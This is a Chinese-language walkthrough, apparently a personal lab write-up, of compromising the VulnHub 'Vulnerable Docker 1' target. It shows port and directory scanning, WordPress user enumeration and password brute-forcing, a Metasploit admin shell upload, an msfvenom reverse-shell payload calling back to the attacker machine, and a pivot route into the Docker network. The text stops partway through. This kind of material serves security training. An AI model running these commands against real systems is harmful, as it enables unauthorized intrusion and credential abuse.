Vulnerable Docker 1
https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova
靶场IP：192.168.32.225
有两种模式：easy和hard
hard
扫描对外端口服务
┌──(root💀kali)-[~]
└─# nmap -p 1-65535 -sV 192.168.32.225
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-11 03:20 EDT
Nmap scan report for 192.168.32.225
Host is up (0.00077s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Apache httpd 2.4.10 ((Debian))
MAC Address: 00:0C:29:EC:B1:68 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.23 seconds
访问8000端口
爆破web目录
┌──(root💀kali)-[~]
└─# gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://192.168.32.225:8000/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.32.225:8000/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/09/11 03:26:05 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 295]
/.htaccess (Status: 403) [Size: 300]
/.htpasswd (Status: 403) [Size: 300]
/0 (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/0/]
/a (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/a-homepage-section/]
/A (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/a-homepage-section/]
/about (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/about/]
/About (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/About/]
/admin (Status: 302) [Size: 0] [--> http://192.168.32.225:8000/wp-admin/]
/atom (Status: 200) [Size: 20055]
/B (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/blog/]
/b (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/blog/]
/bl (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/blog/]
/blog (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/blog/]
/Blog (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/Blog/]
/c (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/contact/]
/C (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/contact/]
/co (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/contact/]
/coffee (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/coffee/]
/comment-page-1 (Status: 200) [Size: 52924]
/con (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/contact/]
/cont (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/contact/]
/Contact (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/Contact/]
/contact (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/contact/]
/dashboard (Status: 302) [Size: 0] [--> http://192.168.32.225:8000/wp-admin/]
/embed (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/embed/]
/favicon.ico (Status: 200) [Size: 0]
/feed (Status: 200) [Size: 17992]
/h (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/2017/08/19/hello-world/]
/H (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/2017/08/19/hello-world/]
/hello (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/2017/08/19/hello-world/]
/home (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/home/]
/Home (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/Home/]
/index.php (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/]
/login (Status: 302) [Size: 0] [--> http://192.168.32.225:8000/wp-login.php]
/p (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/post-6/]
/P (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/post-6/]
/page2 (Status: 200) [Size: 61436]
/page1 (Status: 200) [Size: 71444]
/pos (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/post-6/]
/post (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/post-6/]
/rdf (Status: 200) [Size: 16332]
/robots.txt (Status: 200) [Size: 67]
/rss (Status: 200) [Size: 2402]
/rss2 (Status: 200) [Size: 17992]
/s (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/sample-page/]
/S (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/sample-page/]
/sa (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/sample-page/]
/sam (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/sample-page/]
/sample (Status: 301) [Size: 0] [--> http://192.168.32.225:8000/sample-page/]
/server-status (Status: 403) [Size: 304]
/wp-admin (Status: 301) [Size: 326] [--> http://192.168.32.225:8000/wp-admin/]
/wp-content (Status: 301) [Size: 328] [--> http://192.168.32.225:8000/wp-content/]
/wp-includes (Status: 301) [Size: 329] [--> http://192.168.32.225:8000/wp-includes/]
/xmlrpc.php (Status: 405) [Size: 42]
===============================================================
2022/09/11 03:28:12 Finished
===============================================================
发现cms是wordpress，使用wpscan进行扫描
┌──(root💀kali)-[~]
└─# wpscan --url http://192.168.32.225:8000
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.14
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]B
[+] URL: http://192.168.32.225:8000/ [192.168.32.225]
[+] Started: Sun Sep 11 03:29:55 2022
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: Apache/2.4.10 (Debian)
| - X-Powered-By: PHP/5.6.31
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://192.168.32.225:8000/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://192.168.32.225:8000/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] WordPress readme found: http://192.168.32.225:8000/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://192.168.32.225:8000/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.8.1 identified (Insecure, released on 2017-08-02).
| Found By: Rss Generator (Passive Detection)
| - http://192.168.32.225:8000/feed/, <generator>https://wordpress.org/?v=4.8.1</generator>
| - http://192.168.32.225:8000/comments/feed/, <generator>https://wordpress.org/?v=4.8.1</generator>
[+] WordPress theme in use: twentyseventeen
| Location: http://192.168.32.225:8000/wp-content/themes/twentyseventeen/
| Last Updated: 2022-05-24T00:00:00.000Z
| Readme: http://192.168.32.225:8000/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 3.0
| Style URL: http://192.168.32.225:8000/wp-content/themes/twentyseventeen/style.css?ver=4.8.1
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.3 (80% confidence)
| Found By: Style (Passive Detection)
| - http://192.168.32.225:8000/wp-content/themes/twentyseventeen/style.css?ver=4.8.1, Match: 'Version: 1.3'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:02 <==============================================================================================================================================================================================================================================> (137 / 137) 100.00% Time: 00:00:02
[i] No Config Backups Found.
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register
[+] Finished: Sun Sep 11 03:30:00 2022
[+] Requests Done: 171
[+] Cached Requests: 7
[+] Data Sent: 44.524 KB
[+] Data Received: 476.498 KB
[+] Memory used: 228.035 MB
[+] Elapsed time: 00:00:05
枚举用户
┌──(root💀kali)-[~]
└─# wpscan --url http://192.168.32.225:8000 --enumerate u
[+] bob
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://192.168.32.225:8000/wp-json/wp/v2/users/?per_page=100&page=1
| Rss Generator (Aggressive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
爆破bob的密码，发现密码：Welcome1
┌──(root💀kali)-[/opt]
└─# wpscan --url http://192.168.32.225:8000 -U bob -P /opt/10_million_password_list_top_10000.txt
[!] Valid Combinations Found:
| Username: bob, Password: Welcome1
访问：/wp-admin
我们在 Wordpress 中有管理员，让我们在（大概）容器中获取一个 shell：
use exploit/unix/webapp/wp_admin_shell_upload
set PASSWORD Welcome1
set USERNAME bob
set RHOST 192.168.32.225
set RPORT 8000
run我们现在有一个meterpreter。在这一点上，我被卡住了一段时间。我首先开始搜索一些 setuid 二进制文件，但这并没有让我到任何地方。因此，我尝试查找有关网络的信息：
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
5: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:12:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.18.0.2/16 scope global eth0
valid_lft forever preferred_lft forever
因此，我尝试设置一些到 172.18.0.4/16 网络的路由来进行端口扫描，但此时我一直遇到问题，即使设置了路由，端口扫描也会显示整个 172.18 的开放端口。 0.0/24 网络，好像出来了。
我对此一头雾水，最终认为这可能是因为我使用的是基于 PHP 的 Meterpreter，而且显然它的功能相当有限（例如，没有 ipconfig）。所以，我继续生成了一个完整的仪表并将其放入容器中：
┌──(root💀kali)-[/tmp]
└─# msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.32.130 LPORT=4444 -f elf > shell.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 1101336 bytes
Final size of elf file: 1101336 bytes
上传shell
meterpreter > cd /tmp
meterpreter > upload /tmp/shell.elf
[*] uploading : /tmp/shell.elf -> shell.elf
[*] Uploaded -1.00 B of 1.05 MiB (0.0%): /tmp/shell.elf -> shell.elf
[*] uploaded : /tmp/shell.elf -> shell.elf
meterpreter > getuid
Server username: www-data @ 8f4bca8ef241 (uid=33, gid=33, euid=33, egid=33)
meterpreter > ifconfig
Interface 1
============
Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 65536
Flags : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
Interface 5
============
Name : eth0
Hardware MAC : 02:42:ac:12:00:02
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 172.18.0.2
IPv4 Netmask : 255.255.0.0
docker 容器添加了到子网的路由
meterpreter > run autoroute -s 172.18.0.0/24easy
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